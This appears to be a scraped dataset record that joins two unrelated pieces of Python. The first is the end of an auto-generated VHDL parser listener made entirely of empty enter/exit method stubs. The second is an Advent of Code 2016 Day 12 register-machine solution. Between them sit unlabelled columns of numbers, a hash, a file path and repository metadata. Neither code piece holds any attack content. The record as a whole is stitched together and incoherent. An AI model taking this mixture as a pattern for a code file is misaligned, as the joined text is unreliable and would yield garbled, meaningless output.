# Enter a parse tree produced by vhdlParser#multiplying_operator. def enterMultiplying_operator(self, ctx:vhdlParser.Multiplying_operatorContext): pass # Exit a parse tree produced by vhdlParser#multiplying_operator. def exitMultiplying_operator(self, ctx:vhdlParser.Multiplying_operatorContext): pass # Enter a parse tree produced by vhdlParser#name. def enterName(self, ctx:vhdlParser.NameContext): pass # Exit a parse tree produced by vhdlParser#name. def exitName(self, ctx:vhdlParser.NameContext): pass # Enter a parse tree produced by vhdlParser#name_part. def enterName_part(self, ctx:vhdlParser.Name_partContext): pass # Exit a parse tree produced by vhdlParser#name_part. def exitName_part(self, ctx:vhdlParser.Name_partContext): pass # Enter a parse tree produced by vhdlParser#selected_name. def enterSelected_name(self, ctx:vhdlParser.Selected_nameContext): pass # Exit a parse tree produced by vhdlParser#selected_name. def exitSelected_name(self, ctx:vhdlParser.Selected_nameContext): pass # Enter a parse tree produced by vhdlParser#selected_name_part. def enterSelected_name_part(self, ctx:vhdlParser.Selected_name_partContext): pass # Exit a parse tree produced by vhdlParser#selected_name_part. def exitSelected_name_part(self, ctx:vhdlParser.Selected_name_partContext): pass # Enter a parse tree produced by vhdlParser#function_call_or_indexed_name_part. def enterFunction_call_or_indexed_name_part(self, ctx:vhdlParser.Function_call_or_indexed_name_partContext): pass # Exit a parse tree produced by vhdlParser#function_call_or_indexed_name_part. def exitFunction_call_or_indexed_name_part(self, ctx:vhdlParser.Function_call_or_indexed_name_partContext): pass # Enter a parse tree produced by vhdlParser#slice_name_part. def enterSlice_name_part(self, ctx:vhdlParser.Slice_name_partContext): pass # Exit a parse tree produced by vhdlParser#slice_name_part. def exitSlice_name_part(self, ctx:vhdlParser.Slice_name_partContext): pass # Enter a parse tree produced by vhdlParser#attribute_name_part. def enterAttribute_name_part(self, ctx:vhdlParser.Attribute_name_partContext): pass # Exit a parse tree produced by vhdlParser#attribute_name_part. def exitAttribute_name_part(self, ctx:vhdlParser.Attribute_name_partContext): pass # Enter a parse tree produced by vhdlParser#nature_declaration. def enterNature_declaration(self, ctx:vhdlParser.Nature_declarationContext): pass # Exit a parse tree produced by vhdlParser#nature_declaration. def exitNature_declaration(self, ctx:vhdlParser.Nature_declarationContext): pass # Enter a parse tree produced by vhdlParser#nature_definition. def enterNature_definition(self, ctx:vhdlParser.Nature_definitionContext): pass # Exit a parse tree produced by vhdlParser#nature_definition. def exitNature_definition(self, ctx:vhdlParser.Nature_definitionContext): pass # Enter a parse tree produced by vhdlParser#nature_element_declaration. def enterNature_element_declaration(self, ctx:vhdlParser.Nature_element_declarationContext): pass # Exit a parse tree produced by vhdlParser#nature_element_declaration. def exitNature_element_declaration(self, ctx:vhdlParser.Nature_element_declarationContext): pass # Enter a parse tree produced by vhdlParser#next_statement. def enterNext_statement(self, ctx:vhdlParser.Next_statementContext): pass # Exit a parse tree produced by vhdlParser#next_statement. def exitNext_statement(self, ctx:vhdlParser.Next_statementContext): pass # Enter a parse tree produced by vhdlParser#numeric_literal. def enterNumeric_literal(self, ctx:vhdlParser.Numeric_literalContext): pass # Exit a parse tree produced by vhdlParser#numeric_literal. def exitNumeric_literal(self, ctx:vhdlParser.Numeric_literalContext): pass # Enter a parse tree produced by vhdlParser#object_declaration. def enterObject_declaration(self, ctx:vhdlParser.Object_declarationContext): pass # Exit a parse tree produced by vhdlParser#object_declaration. def exitObject_declaration(self, ctx:vhdlParser.Object_declarationContext): pass # Enter a parse tree produced by vhdlParser#opts. def enterOpts(self, ctx:vhdlParser.OptsContext): pass # Exit a parse tree produced by vhdlParser#opts. def exitOpts(self, ctx:vhdlParser.OptsContext): pass # Enter a parse tree produced by vhdlParser#package_body. def enterPackage_body(self, ctx:vhdlParser.Package_bodyContext): pass # Exit a parse tree produced by vhdlParser#package_body. def exitPackage_body(self, ctx:vhdlParser.Package_bodyContext): pass # Enter a parse tree produced by vhdlParser#package_body_declarative_item. def enterPackage_body_declarative_item(self, ctx:vhdlParser.Package_body_declarative_itemContext): pass # Exit a parse tree produced by vhdlParser#package_body_declarative_item. def exitPackage_body_declarative_item(self, ctx:vhdlParser.Package_body_declarative_itemContext): pass # Enter a parse tree produced by vhdlParser#package_body_declarative_part. def enterPackage_body_declarative_part(self, ctx:vhdlParser.Package_body_declarative_partContext): pass # Exit a parse tree produced by vhdlParser#package_body_declarative_part. def exitPackage_body_declarative_part(self, ctx:vhdlParser.Package_body_declarative_partContext): pass # Enter a parse tree produced by vhdlParser#package_declaration. def enterPackage_declaration(self, ctx:vhdlParser.Package_declarationContext): pass # Exit a parse tree produced by vhdlParser#package_declaration. def exitPackage_declaration(self, ctx:vhdlParser.Package_declarationContext): pass # Enter a parse tree produced by vhdlParser#package_declarative_item. def enterPackage_declarative_item(self, ctx:vhdlParser.Package_declarative_itemContext): pass # Exit a parse tree produced by vhdlParser#package_declarative_item. def exitPackage_declarative_item(self, ctx:vhdlParser.Package_declarative_itemContext): pass # Enter a parse tree produced by vhdlParser#package_declarative_part. def enterPackage_declarative_part(self, ctx:vhdlParser.Package_declarative_partContext): pass # Exit a parse tree produced by vhdlParser#package_declarative_part. def exitPackage_declarative_part(self, ctx:vhdlParser.Package_declarative_partContext): pass # Enter a parse tree produced by vhdlParser#parameter_specification. def enterParameter_specification(self, ctx:vhdlParser.Parameter_specificationContext): pass # Exit a parse tree produced by vhdlParser#parameter_specification. def exitParameter_specification(self, ctx:vhdlParser.Parameter_specificationContext): pass # Enter a parse tree produced by vhdlParser#physical_literal. def enterPhysical_literal(self, ctx:vhdlParser.Physical_literalContext): pass # Exit a parse tree produced by vhdlParser#physical_literal. def exitPhysical_literal(self, ctx:vhdlParser.Physical_literalContext): pass # Enter a parse tree produced by vhdlParser#physical_type_definition. def enterPhysical_type_definition(self, ctx:vhdlParser.Physical_type_definitionContext): pass # Exit a parse tree produced by vhdlParser#physical_type_definition. def exitPhysical_type_definition(self, ctx:vhdlParser.Physical_type_definitionContext): pass # Enter a parse tree produced by vhdlParser#port_clause. def enterPort_clause(self, ctx:vhdlParser.Port_clauseContext): pass # Exit a parse tree produced by vhdlParser#port_clause. def exitPort_clause(self, ctx:vhdlParser.Port_clauseContext): pass # Enter a parse tree produced by vhdlParser#port_list. def enterPort_list(self, ctx:vhdlParser.Port_listContext): pass # Exit a parse tree produced by vhdlParser#port_list. def exitPort_list(self, ctx:vhdlParser.Port_listContext): pass # Enter a parse tree produced by vhdlParser#port_map_aspect. def enterPort_map_aspect(self, ctx:vhdlParser.Port_map_aspectContext): pass # Exit a parse tree produced by vhdlParser#port_map_aspect. def exitPort_map_aspect(self, ctx:vhdlParser.Port_map_aspectContext): pass # Enter a parse tree produced by vhdlParser#primary. def enterPrimary(self, ctx:vhdlParser.PrimaryContext): pass # Exit a parse tree produced by vhdlParser#primary. def exitPrimary(self, ctx:vhdlParser.PrimaryContext): pass # Enter a parse tree produced by vhdlParser#primary_unit. def enterPrimary_unit(self, ctx:vhdlParser.Primary_unitContext): pass # Exit a parse tree produced by vhdlParser#primary_unit. def exitPrimary_unit(self, ctx:vhdlParser.Primary_unitContext): pass # Enter a parse tree produced by vhdlParser#procedural_declarative_item. def enterProcedural_declarative_item(self, ctx:vhdlParser.Procedural_declarative_itemContext): pass # Exit a parse tree produced by vhdlParser#procedural_declarative_item. def exitProcedural_declarative_item(self, ctx:vhdlParser.Procedural_declarative_itemContext): pass # Enter a parse tree produced by vhdlParser#procedural_declarative_part. def enterProcedural_declarative_part(self, ctx:vhdlParser.Procedural_declarative_partContext): pass # Exit a parse tree produced by vhdlParser#procedural_declarative_part. def exitProcedural_declarative_part(self, ctx:vhdlParser.Procedural_declarative_partContext): pass # Enter a parse tree produced by vhdlParser#procedural_statement_part. def enterProcedural_statement_part(self, ctx:vhdlParser.Procedural_statement_partContext): pass # Exit a parse tree produced by vhdlParser#procedural_statement_part. def exitProcedural_statement_part(self, ctx:vhdlParser.Procedural_statement_partContext): pass # Enter a parse tree produced by vhdlParser#procedure_call. def enterProcedure_call(self, ctx:vhdlParser.Procedure_callContext): pass # Exit a parse tree produced by vhdlParser#procedure_call. def exitProcedure_call(self, ctx:vhdlParser.Procedure_callContext): pass # Enter a parse tree produced by vhdlParser#procedure_call_statement. def enterProcedure_call_statement(self, ctx:vhdlParser.Procedure_call_statementContext): pass # Exit a parse tree produced by vhdlParser#procedure_call_statement. def exitProcedure_call_statement(self, ctx:vhdlParser.Procedure_call_statementContext): pass # Enter a parse tree produced by vhdlParser#process_declarative_item. def enterProcess_declarative_item(self, ctx:vhdlParser.Process_declarative_itemContext): pass # Exit a parse tree produced by vhdlParser#process_declarative_item. def exitProcess_declarative_item(self, ctx:vhdlParser.Process_declarative_itemContext): pass # Enter a parse tree produced by vhdlParser#process_declarative_part. def enterProcess_declarative_part(self, ctx:vhdlParser.Process_declarative_partContext): pass # Exit a parse tree produced by vhdlParser#process_declarative_part. def exitProcess_declarative_part(self, ctx:vhdlParser.Process_declarative_partContext): pass # Enter a parse tree produced by vhdlParser#process_statement. def enterProcess_statement(self, ctx:vhdlParser.Process_statementContext): pass # Exit a parse tree produced by vhdlParser#process_statement. def exitProcess_statement(self, ctx:vhdlParser.Process_statementContext): pass # Enter a parse tree produced by vhdlParser#process_statement_part. def enterProcess_statement_part(self, ctx:vhdlParser.Process_statement_partContext): pass # Exit a parse tree produced by vhdlParser#process_statement_part. def exitProcess_statement_part(self, ctx:vhdlParser.Process_statement_partContext): pass # Enter a parse tree produced by vhdlParser#qualified_expression. def enterQualified_expression(self, ctx:vhdlParser.Qualified_expressionContext): pass # Exit a parse tree produced by vhdlParser#qualified_expression. def exitQualified_expression(self, ctx:vhdlParser.Qualified_expressionContext): pass # Enter a parse tree produced by vhdlParser#quantity_declaration. def enterQuantity_declaration(self, ctx:vhdlParser.Quantity_declarationContext): pass # Exit a parse tree produced by vhdlParser#quantity_declaration. def exitQuantity_declaration(self, ctx:vhdlParser.Quantity_declarationContext): pass # Enter a parse tree produced by vhdlParser#quantity_list. def enterQuantity_list(self, ctx:vhdlParser.Quantity_listContext): pass # Exit a parse tree produced by vhdlParser#quantity_list. def exitQuantity_list(self, ctx:vhdlParser.Quantity_listContext): pass # Enter a parse tree produced by vhdlParser#quantity_specification. def enterQuantity_specification(self, ctx:vhdlParser.Quantity_specificationContext): pass # Exit a parse tree produced by vhdlParser#quantity_specification. def exitQuantity_specification(self, ctx:vhdlParser.Quantity_specificationContext): pass # Enter a parse tree produced by vhdlParser#range_decl. def enterRange_decl(self, ctx:vhdlParser.Range_declContext): pass # Exit a parse tree produced by vhdlParser#range_decl. def exitRange_decl(self, ctx:vhdlParser.Range_declContext): pass # Enter a parse tree produced by vhdlParser#explicit_range. def enterExplicit_range(self, ctx:vhdlParser.Explicit_rangeContext): pass # Exit a parse tree produced by vhdlParser#explicit_range. def exitExplicit_range(self, ctx:vhdlParser.Explicit_rangeContext): pass # Enter a parse tree produced by vhdlParser#range_constraint. def enterRange_constraint(self, ctx:vhdlParser.Range_constraintContext): pass # Exit a parse tree produced by vhdlParser#range_constraint. def exitRange_constraint(self, ctx:vhdlParser.Range_constraintContext): pass # Enter a parse tree produced by vhdlParser#record_nature_definition. def enterRecord_nature_definition(self, ctx:vhdlParser.Record_nature_definitionContext): pass # Exit a parse tree produced by vhdlParser#record_nature_definition. def exitRecord_nature_definition(self, ctx:vhdlParser.Record_nature_definitionContext): pass # Enter a parse tree produced by vhdlParser#record_type_definition. def enterRecord_type_definition(self, ctx:vhdlParser.Record_type_definitionContext): pass # Exit a parse tree produced by vhdlParser#record_type_definition. def exitRecord_type_definition(self, ctx:vhdlParser.Record_type_definitionContext): pass # Enter a parse tree produced by vhdlParser#relation. def enterRelation(self, ctx:vhdlParser.RelationContext): pass # Exit a parse tree produced by vhdlParser#relation. def exitRelation(self, ctx:vhdlParser.RelationContext): pass # Enter a parse tree produced by vhdlParser#relational_operator. def enterRelational_operator(self, ctx:vhdlParser.Relational_operatorContext): pass # Exit a parse tree produced by vhdlParser#relational_operator. def exitRelational_operator(self, ctx:vhdlParser.Relational_operatorContext): pass # Enter a parse tree produced by vhdlParser#report_statement. def enterReport_statement(self, ctx:vhdlParser.Report_statementContext): pass # Exit a parse tree produced by vhdlParser#report_statement. def exitReport_statement(self, ctx:vhdlParser.Report_statementContext): pass # Enter a parse tree produced by vhdlParser#return_statement. def enterReturn_statement(self, ctx:vhdlParser.Return_statementContext): pass # Exit a parse tree produced by vhdlParser#return_statement. def exitReturn_statement(self, ctx:vhdlParser.Return_statementContext): pass # Enter a parse tree produced by vhdlParser#scalar_nature_definition. def enterScalar_nature_definition(self, ctx:vhdlParser.Scalar_nature_definitionContext): pass # Exit a parse tree produced by vhdlParser#scalar_nature_definition. def exitScalar_nature_definition(self, ctx:vhdlParser.Scalar_nature_definitionContext): pass # Enter a parse tree produced by vhdlParser#scalar_type_definition. def enterScalar_type_definition(self, ctx:vhdlParser.Scalar_type_definitionContext): pass # Exit a parse tree produced by vhdlParser#scalar_type_definition. def exitScalar_type_definition(self, ctx:vhdlParser.Scalar_type_definitionContext): pass # Enter a parse tree produced by vhdlParser#secondary_unit. def enterSecondary_unit(self, ctx:vhdlParser.Secondary_unitContext): pass # Exit a parse tree produced by vhdlParser#secondary_unit. def exitSecondary_unit(self, ctx:vhdlParser.Secondary_unitContext): pass # Enter a parse tree produced by vhdlParser#secondary_unit_declaration. def enterSecondary_unit_declaration(self, ctx:vhdlParser.Secondary_unit_declarationContext): pass # Exit a parse tree produced by vhdlParser#secondary_unit_declaration. def exitSecondary_unit_declaration(self, ctx:vhdlParser.Secondary_unit_declarationContext): pass # Enter a parse tree produced by vhdlParser#selected_signal_assignment. def enterSelected_signal_assignment(self, ctx:vhdlParser.Selected_signal_assignmentContext): pass # Exit a parse tree produced by vhdlParser#selected_signal_assignment. def exitSelected_signal_assignment(self, ctx:vhdlParser.Selected_signal_assignmentContext): pass # Enter a parse tree produced by vhdlParser#selected_waveforms. def enterSelected_waveforms(self, ctx:vhdlParser.Selected_waveformsContext): pass # Exit a parse tree produced by vhdlParser#selected_waveforms. def exitSelected_waveforms(self, ctx:vhdlParser.Selected_waveformsContext): pass # Enter a parse tree produced by vhdlParser#sensitivity_clause. def enterSensitivity_clause(self, ctx:vhdlParser.Sensitivity_clauseContext): pass # Exit a parse tree produced by vhdlParser#sensitivity_clause. def exitSensitivity_clause(self, ctx:vhdlParser.Sensitivity_clauseContext): pass # Enter a parse tree produced by vhdlParser#sensitivity_list. def enterSensitivity_list(self, ctx:vhdlParser.Sensitivity_listContext): pass # Exit a parse tree produced by vhdlParser#sensitivity_list. def exitSensitivity_list(self, ctx:vhdlParser.Sensitivity_listContext): pass # Enter a parse tree produced by vhdlParser#sequence_of_statements. def enterSequence_of_statements(self, ctx:vhdlParser.Sequence_of_statementsContext): pass # Exit a parse tree produced by vhdlParser#sequence_of_statements. def exitSequence_of_statements(self, ctx:vhdlParser.Sequence_of_statementsContext): pass # Enter a parse tree produced by vhdlParser#sequential_statement. def enterSequential_statement(self, ctx:vhdlParser.Sequential_statementContext): pass # Exit a parse tree produced by vhdlParser#sequential_statement. def exitSequential_statement(self, ctx:vhdlParser.Sequential_statementContext): pass # Enter a parse tree produced by vhdlParser#shift_expression. def enterShift_expression(self, ctx:vhdlParser.Shift_expressionContext): pass # Exit a parse tree produced by vhdlParser#shift_expression. def exitShift_expression(self, ctx:vhdlParser.Shift_expressionContext): pass # Enter a parse tree produced by vhdlParser#shift_operator. def enterShift_operator(self, ctx:vhdlParser.Shift_operatorContext): pass # Exit a parse tree produced by vhdlParser#shift_operator. def exitShift_operator(self, ctx:vhdlParser.Shift_operatorContext): pass # Enter a parse tree produced by vhdlParser#signal_assignment_statement. def enterSignal_assignment_statement(self, ctx:vhdlParser.Signal_assignment_statementContext): pass # Exit a parse tree produced by vhdlParser#signal_assignment_statement. def exitSignal_assignment_statement(self, ctx:vhdlParser.Signal_assignment_statementContext): pass # Enter a parse tree produced by vhdlParser#signal_declaration. def enterSignal_declaration(self, ctx:vhdlParser.Signal_declarationContext): pass # Exit a parse tree produced by vhdlParser#signal_declaration. def exitSignal_declaration(self, ctx:vhdlParser.Signal_declarationContext): pass # Enter a parse tree produced by vhdlParser#signal_kind. def enterSignal_kind(self, ctx:vhdlParser.Signal_kindContext): pass # Exit a parse tree produced by vhdlParser#signal_kind. def exitSignal_kind(self, ctx:vhdlParser.Signal_kindContext): pass # Enter a parse tree produced by vhdlParser#signal_list. def enterSignal_list(self, ctx:vhdlParser.Signal_listContext): pass # Exit a parse tree produced by vhdlParser#signal_list. def exitSignal_list(self, ctx:vhdlParser.Signal_listContext): pass # Enter a parse tree produced by vhdlParser#signature. def enterSignature(self, ctx:vhdlParser.SignatureContext): pass # Exit a parse tree produced by vhdlParser#signature. def exitSignature(self, ctx:vhdlParser.SignatureContext): pass # Enter a parse tree produced by vhdlParser#simple_expression. def enterSimple_expression(self, ctx:vhdlParser.Simple_expressionContext): pass # Exit a parse tree produced by vhdlParser#simple_expression. def exitSimple_expression(self, ctx:vhdlParser.Simple_expressionContext): pass # Enter a parse tree produced by vhdlParser#simple_simultaneous_statement. def enterSimple_simultaneous_statement(self, ctx:vhdlParser.Simple_simultaneous_statementContext): pass # Exit a parse tree produced by vhdlParser#simple_simultaneous_statement. def exitSimple_simultaneous_statement(self, ctx:vhdlParser.Simple_simultaneous_statementContext): pass # Enter a parse tree produced by vhdlParser#simultaneous_alternative. def enterSimultaneous_alternative(self, ctx:vhdlParser.Simultaneous_alternativeContext): pass # Exit a parse tree produced by vhdlParser#simultaneous_alternative. def exitSimultaneous_alternative(self, ctx:vhdlParser.Simultaneous_alternativeContext): pass # Enter a parse tree produced by vhdlParser#simultaneous_case_statement. def enterSimultaneous_case_statement(self, ctx:vhdlParser.Simultaneous_case_statementContext): pass # Exit a parse tree produced by vhdlParser#simultaneous_case_statement. def exitSimultaneous_case_statement(self, ctx:vhdlParser.Simultaneous_case_statementContext): pass # Enter a parse tree produced by vhdlParser#simultaneous_if_statement. def enterSimultaneous_if_statement(self, ctx:vhdlParser.Simultaneous_if_statementContext): pass # Exit a parse tree produced by vhdlParser#simultaneous_if_statement. def exitSimultaneous_if_statement(self, ctx:vhdlParser.Simultaneous_if_statementContext): pass # Enter a parse tree produced by vhdlParser#simultaneous_procedural_statement. def enterSimultaneous_procedural_statement(self, ctx:vhdlParser.Simultaneous_procedural_statementContext): pass # Exit a parse tree produced by vhdlParser#simultaneous_procedural_statement. def exitSimultaneous_procedural_statement(self, ctx:vhdlParser.Simultaneous_procedural_statementContext): pass # Enter a parse tree produced by vhdlParser#simultaneous_statement. def enterSimultaneous_statement(self, ctx:vhdlParser.Simultaneous_statementContext): pass # Exit a parse tree produced by vhdlParser#simultaneous_statement. def exitSimultaneous_statement(self, ctx:vhdlParser.Simultaneous_statementContext): pass # Enter a parse tree produced by vhdlParser#simultaneous_statement_part. def enterSimultaneous_statement_part(self, ctx:vhdlParser.Simultaneous_statement_partContext): pass # Exit a parse tree produced by vhdlParser#simultaneous_statement_part. def exitSimultaneous_statement_part(self, ctx:vhdlParser.Simultaneous_statement_partContext): pass # Enter a parse tree produced by vhdlParser#source_aspect. def enterSource_aspect(self, ctx:vhdlParser.Source_aspectContext): pass # Exit a parse tree produced by vhdlParser#source_aspect. def exitSource_aspect(self, ctx:vhdlParser.Source_aspectContext): pass # Enter a parse tree produced by vhdlParser#source_quantity_declaration. def enterSource_quantity_declaration(self, ctx:vhdlParser.Source_quantity_declarationContext): pass # Exit a parse tree produced by vhdlParser#source_quantity_declaration. def exitSource_quantity_declaration(self, ctx:vhdlParser.Source_quantity_declarationContext): pass # Enter a parse tree produced by vhdlParser#step_limit_specification. def enterStep_limit_specification(self, ctx:vhdlParser.Step_limit_specificationContext): pass # Exit a parse tree produced by vhdlParser#step_limit_specification. def exitStep_limit_specification(self, ctx:vhdlParser.Step_limit_specificationContext): pass # Enter a parse tree produced by vhdlParser#subnature_declaration. def enterSubnature_declaration(self, ctx:vhdlParser.Subnature_declarationContext): pass # Exit a parse tree produced by vhdlParser#subnature_declaration. def exitSubnature_declaration(self, ctx:vhdlParser.Subnature_declarationContext): pass # Enter a parse tree produced by vhdlParser#subnature_indication. def enterSubnature_indication(self, ctx:vhdlParser.Subnature_indicationContext): pass # Exit a parse tree produced by vhdlParser#subnature_indication. def exitSubnature_indication(self, ctx:vhdlParser.Subnature_indicationContext): pass # Enter a parse tree produced by vhdlParser#subprogram_body. def enterSubprogram_body(self, ctx:vhdlParser.Subprogram_bodyContext): pass # Exit a parse tree produced by vhdlParser#subprogram_body. def exitSubprogram_body(self, ctx:vhdlParser.Subprogram_bodyContext): pass # Enter a parse tree produced by vhdlParser#subprogram_declaration. def enterSubprogram_declaration(self, ctx:vhdlParser.Subprogram_declarationContext): pass # Exit a parse tree produced by vhdlParser#subprogram_declaration. def exitSubprogram_declaration(self, ctx:vhdlParser.Subprogram_declarationContext): pass # Enter a parse tree produced by vhdlParser#subprogram_declarative_item. def enterSubprogram_declarative_item(self, ctx:vhdlParser.Subprogram_declarative_itemContext): pass # Exit a parse tree produced by vhdlParser#subprogram_declarative_item. def exitSubprogram_declarative_item(self, ctx:vhdlParser.Subprogram_declarative_itemContext): pass # Enter a parse tree produced by vhdlParser#subprogram_declarative_part. def enterSubprogram_declarative_part(self, ctx:vhdlParser.Subprogram_declarative_partContext): pass # Exit a parse tree produced by vhdlParser#subprogram_declarative_part. def exitSubprogram_declarative_part(self, ctx:vhdlParser.Subprogram_declarative_partContext): pass # Enter a parse tree produced by vhdlParser#subprogram_kind. def enterSubprogram_kind(self, ctx:vhdlParser.Subprogram_kindContext): pass # Exit a parse tree produced by vhdlParser#subprogram_kind. def exitSubprogram_kind(self, ctx:vhdlParser.Subprogram_kindContext): pass # Enter a parse tree produced by vhdlParser#subprogram_specification. def enterSubprogram_specification(self, ctx:vhdlParser.Subprogram_specificationContext): pass # Exit a parse tree produced by vhdlParser#subprogram_specification. def exitSubprogram_specification(self, ctx:vhdlParser.Subprogram_specificationContext): pass # Enter a parse tree produced by vhdlParser#procedure_specification. def enterProcedure_specification(self, ctx:vhdlParser.Procedure_specificationContext): pass # Exit a parse tree produced by vhdlParser#procedure_specification. def exitProcedure_specification(self, ctx:vhdlParser.Procedure_specificationContext): pass # Enter a parse tree produced by vhdlParser#function_specification. def enterFunction_specification(self, ctx:vhdlParser.Function_specificationContext): pass # Exit a parse tree produced by vhdlParser#function_specification. def exitFunction_specification(self, ctx:vhdlParser.Function_specificationContext): pass # Enter a parse tree produced by vhdlParser#subprogram_statement_part. def enterSubprogram_statement_part(self, ctx:vhdlParser.Subprogram_statement_partContext): pass # Exit a parse tree produced by vhdlParser#subprogram_statement_part. def exitSubprogram_statement_part(self, ctx:vhdlParser.Subprogram_statement_partContext): pass # Enter a parse tree produced by vhdlParser#subtype_declaration. def enterSubtype_declaration(self, ctx:vhdlParser.Subtype_declarationContext): pass # Exit a parse tree produced by vhdlParser#subtype_declaration. def exitSubtype_declaration(self, ctx:vhdlParser.Subtype_declarationContext): pass # Enter a parse tree produced by vhdlParser#subtype_indication. def enterSubtype_indication(self, ctx:vhdlParser.Subtype_indicationContext): pass # Exit a parse tree produced by vhdlParser#subtype_indication. def exitSubtype_indication(self, ctx:vhdlParser.Subtype_indicationContext): pass # Enter a parse tree produced by vhdlParser#suffix. def enterSuffix(self, ctx:vhdlParser.SuffixContext): pass # Exit a parse tree produced by vhdlParser#suffix. def exitSuffix(self, ctx:vhdlParser.SuffixContext): pass # Enter a parse tree produced by vhdlParser#target. def enterTarget(self, ctx:vhdlParser.TargetContext): pass # Exit a parse tree produced by vhdlParser#target. def exitTarget(self, ctx:vhdlParser.TargetContext): pass # Enter a parse tree produced by vhdlParser#term. def enterTerm(self, ctx:vhdlParser.TermContext): pass # Exit a parse tree produced by vhdlParser#term. def exitTerm(self, ctx:vhdlParser.TermContext): pass # Enter a parse tree produced by vhdlParser#terminal_aspect. def enterTerminal_aspect(self, ctx:vhdlParser.Terminal_aspectContext): pass # Exit a parse tree produced by vhdlParser#terminal_aspect. def exitTerminal_aspect(self, ctx:vhdlParser.Terminal_aspectContext): pass # Enter a parse tree produced by vhdlParser#terminal_declaration. def enterTerminal_declaration(self, ctx:vhdlParser.Terminal_declarationContext): pass # Exit a parse tree produced by vhdlParser#terminal_declaration. def exitTerminal_declaration(self, ctx:vhdlParser.Terminal_declarationContext): pass # Enter a parse tree produced by vhdlParser#through_aspect. def enterThrough_aspect(self, ctx:vhdlParser.Through_aspectContext): pass # Exit a parse tree produced by vhdlParser#through_aspect. def exitThrough_aspect(self, ctx:vhdlParser.Through_aspectContext): pass # Enter a parse tree produced by vhdlParser#timeout_clause. def enterTimeout_clause(self, ctx:vhdlParser.Timeout_clauseContext): pass # Exit a parse tree produced by vhdlParser#timeout_clause. def exitTimeout_clause(self, ctx:vhdlParser.Timeout_clauseContext): pass # Enter a parse tree produced by vhdlParser#tolerance_aspect. def enterTolerance_aspect(self, ctx:vhdlParser.Tolerance_aspectContext): pass # Exit a parse tree produced by vhdlParser#tolerance_aspect. def exitTolerance_aspect(self, ctx:vhdlParser.Tolerance_aspectContext): pass # Enter a parse tree produced by vhdlParser#type_declaration. def enterType_declaration(self, ctx:vhdlParser.Type_declarationContext): pass # Exit a parse tree produced by vhdlParser#type_declaration. def exitType_declaration(self, ctx:vhdlParser.Type_declarationContext): pass # Enter a parse tree produced by vhdlParser#type_definition. def enterType_definition(self, ctx:vhdlParser.Type_definitionContext): pass # Exit a parse tree produced by vhdlParser#type_definition. def exitType_definition(self, ctx:vhdlParser.Type_definitionContext): pass # Enter a parse tree produced by vhdlParser#unconstrained_array_definition. def enterUnconstrained_array_definition(self, ctx:vhdlParser.Unconstrained_array_definitionContext): pass # Exit a parse tree produced by vhdlParser#unconstrained_array_definition. def exitUnconstrained_array_definition(self, ctx:vhdlParser.Unconstrained_array_definitionContext): pass # Enter a parse tree produced by vhdlParser#unconstrained_nature_definition. def enterUnconstrained_nature_definition(self, ctx:vhdlParser.Unconstrained_nature_definitionContext): pass # Exit a parse tree produced by vhdlParser#unconstrained_nature_definition. def exitUnconstrained_nature_definition(self, ctx:vhdlParser.Unconstrained_nature_definitionContext): pass # Enter a parse tree produced by vhdlParser#use_clause. def enterUse_clause(self, ctx:vhdlParser.Use_clauseContext): pass # Exit a parse tree produced by vhdlParser#use_clause. def exitUse_clause(self, ctx:vhdlParser.Use_clauseContext): pass # Enter a parse tree produced by vhdlParser#variable_assignment_statement. def enterVariable_assignment_statement(self, ctx:vhdlParser.Variable_assignment_statementContext): pass # Exit a parse tree produced by vhdlParser#variable_assignment_statement. def exitVariable_assignment_statement(self, ctx:vhdlParser.Variable_assignment_statementContext): pass # Enter a parse tree produced by vhdlParser#variable_declaration. def enterVariable_declaration(self, ctx:vhdlParser.Variable_declarationContext): pass # Exit a parse tree produced by vhdlParser#variable_declaration. def exitVariable_declaration(self, ctx:vhdlParser.Variable_declarationContext): pass # Enter a parse tree produced by vhdlParser#wait_statement. def enterWait_statement(self, ctx:vhdlParser.Wait_statementContext): pass # Exit a parse tree produced by vhdlParser#wait_statement. def exitWait_statement(self, ctx:vhdlParser.Wait_statementContext): pass # Enter a parse tree produced by vhdlParser#waveform. def enterWaveform(self, ctx:vhdlParser.WaveformContext): pass # Exit a parse tree produced by vhdlParser#waveform. def exitWaveform(self, ctx:vhdlParser.WaveformContext): pass # Enter a parse tree produced by vhdlParser#waveform_element. def enterWaveform_element(self, ctx:vhdlParser.Waveform_elementContext): pass # Exit a parse tree produced by vhdlParser#waveform_element. def exitWaveform_element(self, ctx:vhdlParser.Waveform_elementContext): pass del vhdlParser

36.608583

120

0.766648

9,701

84,456

6.466962

0.049995

0.048871

0.081452

0.146614

0.898543

0.87881

0.878331

0.732594

0.716558

0.333126

0

0.000072

0.178815

84,456

2,307

121

36.608583

0.904504

0.371673

0

0.496592

1

0

0.000019

0

0.005842

1

0.496592

false

0.496592

0.002921

0

0.500487

0

null

0

1

0

1

0

null

0

1

0

1

0

8

371ba37ca52158e0d37dde9925c8b2c86bc9b96f

1,460

py

Python

AdventOfCode2016/Day12/Day12.py

MattTitmas/AdventOfCode

36be4f6bf973f77ff93b08dc69c977bb11951f27

[ "MIT" ]

null

AdventOfCode2016/Day12/Day12.py

MattTitmas/AdventOfCode

36be4f6bf973f77ff93b08dc69c977bb11951f27

[ "MIT" ]

null

AdventOfCode2016/Day12/Day12.py

MattTitmas/AdventOfCode

36be4f6bf973f77ff93b08dc69c977bb11951f27

[ "MIT" ]

null

from math import prod def part1(): file = [i.split(" ") for i in open("input.txt","r").read().split("\n")] registers = {'a': 0, 'b': 0, 'c': 0, 'd': 0} i = 0 while i < len(file): command = file[i] if command[0] == "cpy": registers[command[2]] = int(command[1]) if command[1].isnumeric() else registers[command[1]] elif command[0] == "inc": registers[command[1]] += 1 elif command[0] == "dec": registers[command[1]] -= 1 elif command[0] == "jnz": i += (int(command[2])-1) if (int(command[1]) if command[1].isnumeric() else registers[command[1]]) != 0 else 0 i += 1 return registers['a'] def part2(): file = [i.split(" ") for i in open("input.txt","r").read().split("\n")] registers = {'a': 0, 'b': 0, 'c': 1, 'd': 0} i = 0 while i < len(file): command = file[i] if command[0] == "cpy": registers[command[2]] = int(command[1]) if command[1].isnumeric() else registers[command[1]] elif command[0] == "inc": registers[command[1]] += 1 elif command[0] == "dec": registers[command[1]] -= 1 elif command[0] == "jnz": i += (int(command[2])-1) if (int(command[1]) if command[1].isnumeric() else registers[command[1]]) != 0 else 0 i += 1 return registers['a'] print(f"Answer to part 1: {part1()}") print(f"Answer to part 2: {part2()}")

38.421053

122

0.515068

210

1,460

3.580952

0.209524

0.170213

0.180851

0.103723

0.93617

0.888298

0
